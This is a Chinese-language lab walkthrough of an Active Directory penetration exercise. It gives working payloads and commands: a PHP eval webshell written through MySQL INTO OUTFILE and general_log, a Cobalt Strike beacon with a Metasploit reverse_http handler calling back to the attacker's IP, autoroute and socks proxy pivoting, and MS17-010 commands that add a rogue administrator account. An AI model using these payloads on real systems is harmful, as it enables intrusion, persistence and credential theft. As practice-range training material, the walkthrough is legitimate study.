域滲透
- 本篇文章旨在演示一遍域滲透的大致流程
1. 網絡拓撲
2. 靶場實戰
-
首先我們來掃描一下target1開啟了哪些端口(服務)
- nmap -T4 -O 192.168.1.104
- 掃描結果顯示,target1開啟了80,135,139,445,1025,1026,1027,1028,1029,1030,3306,5357端口,且為windows操作系統
-
我們還是從我們最熟悉的80服務開始
- 訪問一下target1的ip地址:192.168.1.104
- 發現是一個 phpstudy探針 ,這里我們直接可以收集一些必要的信息:
- 對方的服務器是:win7,且是一個php站
- www目錄的絕對路徑是:C:/phpStudy/WWW
- apache和php的版本為:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
-
通過phpstudy探針頁面的出現,我們可知該主機搭建網站所使用的環境是集成環境,而集成環境一般都會有PHPmyadmin,嘗試以下
-
好家伙,還真的有
-
而且還存在弱口令:root/root(天助我也!!~)
-
嘗試一波sql寫一句話
-
payload:
select "<?php @eval($_POST['cmd']);?>" into outfile " C:/phpStudy/WWW/shell.php"
-
這里的絕對路徑在phpstudy探針中可以獲得
-
但可惜寫入失敗了
-
通過報錯信息我們可以得知,應該是目標機mysql的secure-file-priv參數導致我們寫入失敗
-
核實一下是否是該原因:
-
的確是這樣。_secure_file_priv參數被置為了NULL,那我們只能放棄該方法了
-
可能會有的同學會問:
- 難道我們不能使用sql修改一下該變量的值嗎?我們可是root啊!
- 很可惜,該變量我們只可以在本地的my.ini文件中修改,然后再重啟mysql生效,不能使用sql進行修改。
-
-
使用mysql的日志來getshell
- payload:
SHOW VARIABLES LIKE "%general_%" //查看mysql日志功能是否打開 set global general_log=on //手動開啟mysql日志功能 set global general_log_file="C:\phpStudy\WWW\shell.php" //設置mysql的日志路徑
-
首先我們看一下mysql的日志功能是否開啟,若沒有開啟則需要我們手動打開。
-
執行查詢語句:select "",並訪問:192.168.1.104/shell.php,可以看到訪問成功
-
使用蟻劍進行連接
-
成功 getshell target1
-
接着我們上傳一個CS的馬,並賦予權限執行,使用CS進行監聽
-
在生成木馬之前,你若沒有監聽器,那便先設置添加一個監聽器
-
生成一個windows的CS馬
-
使用蟻劍將木馬上傳至target1上,並利用虛擬終端賦予木馬執行權限執行,CS上線
-
-
使用CS竊取target1的賬號密碼
- 這里我們需要使用到CS的插件
- 這里我們需要使用到CS的插件
-
接下來為了方便我們的內網滲透,讓CS和msf做一個聯動
-
先添加一個監聽器
-
設置msf監聽,成功聯動
use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.1.103 set lport 4444 exploit
-
-
接下來我們探詢target1所連的網段還有哪些,並將其添加進路由,設置socks4a代理
- 所需命令:
run get_local_subnets run autoroute -s 192.168.33.0/24 run autoroute -p msfconsole use auxiliary/server/socks4a set srvhost=192.168.1.103 set srvport=1080 exploit
- 編輯proxychains代理軟件的配置文件:/etc/proxychains.conf
-
掃描target2的端口服務
- 在target1的msf會話中執行 arp -a 可以查看當前與target1所處同一網段內存活的主機還有哪些,根據所查結果,還有存活主機:192.168.33.131 和 192.168.33.132
- 我們先掃描target2:192.168.33.131(域成員)
- proxychains nmap -Pn -sT 192.168.33.131
- 可以看到target2開啟了445端口,可能存在MS17_010
-
盲打一波,看是否存在永恆之藍(MS17_010)
- 所需命令
proxychains msfconsole //一定要加上proxychains關鍵字,因為target2在內網 use auxiliary/admin/smb/ms17_010_command set rhost 192.168.33.131 set command net user hack nicai123.com /add exploit set command net localgroup administrators hack /add exploit set command net users exploit set command net localgroup administrators exploit
-
利用成功
-
成功的在target2中創建類hack用戶,並將該用戶添加至administrators組中
-
至此,域成員target2已經拿下
-
掃描target3(域控)
- 由於域控和target2在同一個網段(192.168.33.0/24)內,所以不需要再添加路由
- 直接掃描:proxychains nmap -Pn -sT 192.168.33.132 -p 445
- 開啟狀態,直接上MS17_010_psexec
proxychains msfconsole set payload windows/meterpreter/bind_tcp set rhost 192.168.33.132 exploit
-
可以看到,該漏洞的確存在,但是會話卻沒有連接上
-
經過分析,應該是目標機target3的防火牆進行攔截了
-
如下圖顯示,連接超時(timeout)
-
那我們就只好掃描一下全部端口,看看防火牆放行了哪些端口,可以讓我們鑽空子:proxychains nmap -Pn -sT 192.168.33.132
-
可以看到還有:135,80,445,53,139等端口放行
-
經過一次次的端口測試,只有53端口可以彈出會話並保持會話的連接,而其他的端口雖然可以彈出會話,但是維持不到1秒就斷開了。
-
可是又白高興一場,會話雖然保持住了,但是卻執行不了命令。。。
-
是真的不知道,是環境的問題還是就是這樣設計的
- 其實在第10步,我們可以直接確定域控的ip,對域控進行滲透:
- 確定域控ip的方法:
- 先使用systeminfo命令查看當前域環境的域名,比如是:nicai.com
- 然后去ping這個域名:ping nicai.com ,命令返回信息中的ip就是域控制器的ip地址
- 在這里因為是靶場嘛,多練習一下也是好的
- 確定域控ip的方法: